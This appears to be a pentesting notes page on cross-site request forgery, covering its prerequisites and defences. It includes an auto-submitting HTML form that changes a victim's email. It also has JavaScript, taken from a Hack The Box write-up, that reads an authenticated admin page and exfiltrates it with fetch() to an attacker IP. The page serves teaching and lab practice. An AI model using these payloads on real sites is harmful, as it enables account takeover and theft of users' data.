Cross-Site Request Forgery

Explanation

Cross-Site Request Forgery (CSRF) is an attack that forces authenticated users submit a request to a web application they are currently logged into. This allows attackers to do things like perform actions as an administrator, or alter properties of a user's account without their knowledge.

The methods of exploitation vary, as attackers can send maliciously crafted URLs sent to the user via social engineering, or stored XSS within a page to force the browser to load malicious Javascript. That being said, all CSRF attacks require these pre-requisites:

  1. Presence of valuble action. The attacker needs to find something worth exploiting.

  2. Session Management: User session should be managed solely through cookies or HTTP Basic Authentication header. Other HTTP headers cannot be altered, since the user's browser is the one sending the request.

  3. No unpredictable parameters: The request must NOT have securely implemented CSRF tokens or other parameters. This is because CSRF tokens alone can be abused.

There are some defences present:

  • SameSite cookies: Prevents browser from sending cookies along with cross-site requests.

  • CORS: Prevents third-party sites from accessing information from the main site.

  • User Verification: CAPTCHAs.

  • CSRF Tokens: A unique token sent along with other request parameters. Note that if implemented insecurely, this is useless.

Exploitation

One method of exploitation is through making the user visit a page that loads some malicious Javascript. This Javascript creates a form that will force the user to send a request specified by the attacker. This PoC can be generated by Burpsuite Professional (or found literally anywhere on the Internet).

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://example.com/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="evil@evil.com" />
      <input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
      <input type="submit" value="Submit request" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

When visited, the user is forced to send a POST request to change emails via document.forms[0].submit() in <script> tags. This sends along the email and a fixed csrf parameter. If a user visits this site, their browser will send the POST request. If they are logged into the web application, then the email change will work.

The method above works assuming the CSRF token is NOT TIED to user session, and all the CORS settings are vulnerable.

Apart from changing emails, it is possible to steal entire page contents if XSS is abusable and I can inject Javascript code into their browser:

/* Taken from my Derailed HTB Writeup */
var url = "http://derailed.htb:3000/administration";
var attacker = "http://10.10.14.29/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
    }
}
xhr.open('GET', url, true);
xhr.send(null);

The above sends page contents to the /exfil directory of my machine after forcing an authenticated user to visit any url specified.

Last updated